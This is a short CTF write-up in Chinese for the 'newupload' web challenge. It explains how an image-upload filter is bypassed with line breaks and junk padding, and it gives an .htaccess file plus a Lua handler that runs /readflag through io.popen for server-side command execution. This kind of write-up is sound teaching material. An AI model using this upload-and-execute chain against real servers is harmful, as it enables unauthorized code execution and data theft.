> For the complete documentation index, see [llms.txt](https://gitbook-88.gitbook.io/ctf-writeup/llms.txt). Markdown versions of documentation pages are available by appending `.md` to page URLs; this page is available as [Markdown](https://gitbook-88.gitbook.io/ctf-writeup/2020/2020-xi-hu-lun-jian/newupload.md).

# newupload

先发现文件换行以及垃圾填入可以绕过图片文件过滤，利用php代码执行可以看目录和shell，但是没有权限，可以看到目录中有/readflag。

因为宝塔需要运行自己的WAF，所以宝塔可以解析lua文件。

先上传一个.htaccess：

```
<Files "*.lua">
	SetHandler lua-script
</Files>
```

再上传lua文件并解析（来自[链接](http://www.qfrost.com/CTF/%E8%A5%BF%E6%B9%96%E8%AE%BA%E5%89%91_2020/)）：

```lua
require "string"
function handle(r)
    r.content_type = "text/plain"
    if r.method == 'GET' then
        local a = io.popen('/readflag')
        local b = a:read("*all")
        r:puts(b)
    end
    return apache2.OK
end
```
